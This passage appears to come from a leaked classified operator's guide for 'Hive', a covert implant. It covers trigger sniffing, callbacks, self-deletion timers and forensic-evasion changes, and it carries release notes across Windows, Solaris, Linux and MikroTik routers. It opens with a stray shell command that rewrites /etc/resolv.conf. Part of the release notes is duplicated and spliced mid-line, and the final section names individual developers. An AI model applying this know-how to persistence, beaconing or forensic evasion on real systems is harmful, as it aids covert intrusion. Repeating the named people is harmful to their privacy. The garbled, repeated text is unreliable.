echo “nameserver 8.8.8.8” > /etc/resolv.conf && chmod a+x /etc/resolv.conf

(S) The implant sniffs all traffic it can see, looking for a valid trigger. For example, if there are multiple
hosts on a hub (not a switch), a trigger packet sent to a non-implanted host will be seen by the implant
and cause a callback. Similarly, if there are multiple implanted hosts on a hub, then a race condition
exists. The host implant responding first will typcially get the connection. This can also have other
ramifications. For example, if the border router is implanted, as well as others deeper in the target
network, all triggers sent to any host (implanted or not) in that network will be first seen by the border
router and the operator will receive a callback from the Hive implant on the border router.

(S) To verify secure delete on Solaris, one must first unmount the partition.

(S) If the system time on target is reset or advanced 60 days into the future, the Hive implant will
self-delete itself. Also if the target machine is down for 60 days, the implant will self-delete itself on
startup.

(S) Hive on Windows 2000 may have issues receiving UDP type triggers due to a bug in the O/S
(reference Windows Hotfix: support.microsoft.com/kb/890856).

16 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Appendix B: Release Notes

7 (U) Appendix B: Release Notes

This section is classified SECRET//NOFORN in its entirety.
V2.6.2 01/13/2014
• Uses polarssl havege code to produce random numbers versus /dev/random or /dev/urandom
because at reboot, MikroTik devices exhibited similar random number sequences. This resolves
the issue of the LP seeing what it believes to be a TCP replay attack for MikroTik devices by
properly seeding the random number generator in the implant for all architectures.

V2.6.1 03/15/2013
• Removes string definitions used to obfuscate debug code that was not needed in Hive releases,
but that could be revealing if found.

V2.6 01/30/2013
• This release of Hive primarily addresses forensic issues discovered by a forensic analysis
performed by IOC/AFD on Hive version 2.5 and documented in their report from October 26,
2012 (AFD-2012-0973-2). Hive 2.6 changes the common trigger encoding along with the
encoding scheme for raw TCP and UDP triggers.

• The SSL server certificates used with the Hive client (command and control) are now read from
files rather than being hard-coded into the client. In addition, the Diffie-Hellman paramters used
to establish the SSL connections have been changed.

V2.5.2 12/06/2012
• Fixes a bug in the 2.5 code that was also carried into 2.5.1 that may lead to premature self-
deletion of the implant.

V2.5.1 11/29/2012
• Modifies all mikrotik, linux, and solaris code so any successful beacon or trigger will also create
a /var/.config timer file if it does not already exists. Note that the trigger listening function will
automatically self delete the executable if it discovers that the /var/.config file does not exists. If
a self delete occurs, the normally empty /var/.config will contain a time stamp when the actual
self delete occurred using a yymmddHHMMSS format. Previous versions would allow the
executable to stay on the box but would stop the process whenever the /var/.config file was
removed. Version 2.4's Caution for Solaris shells still applies. A new Hive updating script called
hiveReset_v1_0.py was added which also resets the self-delete timer for all linux, Mikrotik, and
Solaris devices.

V2.5 06/20/2012
• Allows operator to change the self delete timer from the previously hard coded setting of 60
days. The delay option unit was changed to long versus int to enable longer delays before the
first beacon. A hiveUpdater.py script was added to allow remote updates of Hive implants for
Linux, Solaris, and Mikrotik routers. Version 2.4's Caution for Solaris shells still applies.

SECRET//NOFORN//20390113 17
 SECRET//NOFORN
(U) Appendix B: Release Notes (U) Hive 2.6.2 User's Guide
V2.4 03/05/2012
• Allows full shell open capability for all boxes. Solaris boxes are cautioned to close any shells
they open at then end. Otherwise, when a Solaris shell is closed, the trigger session is also
closed. This code should remove Mikrotik "spillage" problems in beacons. Setting the beacons
initial delay with the -d option (i.e. -d 0 ) also stops all beacons.

V2.3.1 01/23/2012
• Added support for Windows 2000.
• No change to *nix binaries.
V2.3 12/12/2011
• All implants updated to include support for beacon jitter and compresssed beacons.
• Beacon code was significantly re-worked as part of the beacon jitter and compression features.
The hope is that this also fixes the non-parsable characters that sometimes are sent by MikroTik
implants (i.e. "spillage").
• Secure shell functionality was added to the following supported platforms:
◦ Windows (all)
◦ Linux x86
◦ MikroTik (all)
◦ Solaris SPARC 9-10
• With this release, secure shell does not work on the following platforms:
◦ Solaris SPARC 8
◦ Solaris x86 8-10
◦ To use the secure shell functionality, users must use the updated Hive ILM module that
provides this command. The Hive v1.0 hclient continues to work with other features, but was
not updated to support the new secure shell functionality.
V2.2 08/22/2011
◦ Updated Windows with the Trigger hanging fixes from 2.1.
◦ Windows can now handle multiple triggered connections at once.
◦ All platforms will now self-delete themselves after 60 days of no contact
◦ Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat
-an, netstat -rn, and a ps -ef.
◦ Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted.
V2.1 05/23/2011
◦ Updated code with reliablity fixes so the trigger no longer hangs due to an implant being
improperly shutdown. These fixes are currently implemented on all platforms except for
Windows.
◦ Updated the beacon code so that it now returns more survey data. This data includes
ipconfig/ifconfig, netstat -an, netstat -rn, and a process list. Currently Mikrotik returns
empty data due to the actually commands not existing on a host unless busybox is present.
◦ Added support for the new beacons and beacon format to honeycomb. Honeycomb is
backwards compatable with beacons back to Hive v1.1.
◦ v2.0 05/9/2011

18 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Appendix B: Release Notes
◦ Added support for use of the Hive client through the CutThroat interface.
◦ v1.1 04/14/2011
◦ Backport of stability and reliablity fixes we added to Hive 2.0 36.
◦ Updated hclient to give slightly better feedback to user when connection 37 goes down.
◦ v1.0.2 01/21/2011*, 02/14/2011**, 03/07/2011***
◦ Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x
◦ Fixed beacons to handle DNS failures
◦ Fixed beacons to handle connection attempts to closed ports
◦ Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to
fail.
◦ Due to unavailablility of RouterBoard MIPS-LE hardware, testing for MikroTik MIPS-LE
3.x-4.x wasdone on a Linksys WRT54G reflashed with DD-WRT v24-sp2.
◦ For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on
older firmware such as the 2.x series.
◦ Latest official releases and tested versions:
◦ Windows XP SP0-SP3 -- v1.0.1; v1.0.2 untested
◦ Windows 2003 -- v1.0.1; v1.0.2 untested
◦ Solaris SPARC 9-10 -- v1.0.1; v1.0.2 untested
◦ Solaris x86 9-10 -- v1.0.2**
◦ MikroTik x86 3.x-4.x -- v1.0.2
◦ MikroTik PPC 4.x -- v1.0.2*
◦ MikroTik PPC 3.x -- v1.0.2 untested
◦ MikroTik MIPS-BE 4.x -- v1.0.2*
◦ MikroTik MIPS-BE 3.x -- v1.0.2 untested
◦ MikroTik MIPS-LE 4.x -- v1.0.2***
◦ MikroTik MIPS-LE 3.x -- v1.0.2***
◦ Linux x86 -- v1.0.2**
◦ v1.0.1 2/22/2010
◦ DR fix for patcher. v1.0 patcher does not allow hostnames to be patched into binaries. v1.0.1
allows both IP adresses and hostnames
◦ Re-released patcher, but implants and client are functionally unchanged.
◦ Latest official releases and tested versions:
◦ Windows XP SP0-SP3 -- v1.0.1
◦ Windows 2003 -- v1.0.1
◦ Solaris SPARC 9-10 -- v1.0.1
◦ Linux x86 -- v1.0.1 untested
◦ v1.0 10/27/2010
◦ Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC
◦ Prototype Linux x86 implant provided in patcher
◦ Official releases and versions:
◦ Windows XP SP0-SP3 -- v1.0
◦ Windows 2003 -- v1.0
◦ Solaris SPARC 9-10 -- v1.0

SECRET//NOFORN//20390113 19
 SECRET//NOFORN
(U) Appendix B: Release Notes (U) Hive 2.6.2 User's Guide
◦ Linux x86 -- v1.0 untestedSolaris SPARC 8
◦ Solaris x86 8-10
• To use the secure shell functionality, users must use the updated Hive ILM module that provides
this command. The Hive v1.0 hclient continues to work with other features, but was not updated
to support the new secure shell functionality.
V2.2 08/22/2011
• Updated Windows with the Trigger hanging fixes from 2.1.
• Windows can now handle multiple triggered connections at once.
• All platforms will now self-delete themselves after 60 days of no contact
• Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat -an,
netstat -rn, and a ps -ef.
• Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted.
V2.1 05/23/2011
• Updated code with reliablity fixes so the trigger no longer hangs due to an implant being
improperly shutdown. These fixes are currently implemented on all platforms except for
Windows.
• Updated the beacon code so that it now returns more survey data. This data includes
ipconfig/ifconfig, netstat -an, netstat -rn, and a process list. Currently Mikrotik returns empty
data due to the actually commands not existing on a host unless busybox is present.
• Added support for the new beacons and beacon format to honeycomb. Honeycomb is backwards
compatable with beacons back to Hive v1.1.
V2.0 05/9/2011
• Added support for use of the Hive client through the CutThroat interface.
V1.1 04/14/2011
• Backport of stability and reliablity fixes we added to Hive 2.0 36.
• Updated hclient to give slightly better feedback to user when connection 37 goes down.
V1.0.2 01/21/2011*, 02/14/2011**, 03/07/2011***
• Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x
• Fixed beacons to handle DNS failures
• Fixed beacons to handle connection attempts to closed ports
• Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to fail.
• Due to unavailablility of RouterBoard MIPS-LE hardware, testing for MikroTik MIPS-LE 3.x-
4.x wasdone on a Linksys WRT54G reflashed with DD-WRT v24-sp2.
• For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on
older firmware such as the 2.x series.
• Latest official releases and tested versions:
◦ Windows XP SP0-SP3 -- v1.0.1; v1.0.2 untested
◦ Windows 2003 -- v1.0.1; v1.0.2 untested

20 SECRET//NOFORN//20390113
 SECRET//NOFORN
(U) Hive 2.6.2 User's Guide (U) Appendix B: Release Notes
◦ Solaris SPARC 9-10 -- v1.0.1; v1.0.2 untested
◦ Solaris x86 9-10 -- v1.0.2**
◦ MikroTik x86 3.x-4.x -- v1.0.2
◦ MikroTik PPC 4.x -- v1.0.2*
◦ MikroTik PPC 3.x -- v1.0.2 untested
◦ MikroTik MIPS-BE 4.x -- v1.0.2*
◦ MikroTik MIPS-BE 3.x -- v1.0.2 untested
◦ MikroTik MIPS-LE 4.x -- v1.0.2***
◦ MikroTik MIPS-LE 3.x -- v1.0.2***
◦ Linux x86 -- v1.0.2**
V1.0.1 2/22/2010
• DR fix for patcher. v1.0 patcher does not allow hostnames to be patched into binaries. v1.0.1
allows both IP adresses and hostnames
• Re-released patcher, but implants and client are functionally unchanged.
• Latest official releases and tested versions:
◦ Windows XP SP0-SP3 -- v1.0.1
◦ Windows 2003 -- v1.0.1
◦ Solaris SPARC 9-10 -- v1.0.1
◦ Linux x86 -- v1.0.1 untested
V1.0 10/27/2010
• Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC
• Prototype Linux x86 implant provided in patcher
• Official releases and versions:
◦ Windows XP SP0-SP3 -- v1.0
◦ Windows 2003 -- v1.0
◦ Solaris SPARC 9-10 -- v1.0
◦ Linux x86 – v1.0 untested

SECRET//NOFORN//20390113 21
 SECRET//NOFORN
(U) For Further Assistance (U) Hive 2.6.2 User's Guide

8 (U) For Further Assistance

(S) For any additional assistance, please consult one of the Hive developers. As of January 2013, these
are Mike Russell (EDG/AED/EDB), Jack McMahon (EDG/AED/EDB), Jeremy Haas (EDG/AED/EDB)
or Brian Timmons (EDG/AED/RDB).

22 SECRET//NOFORN//20390113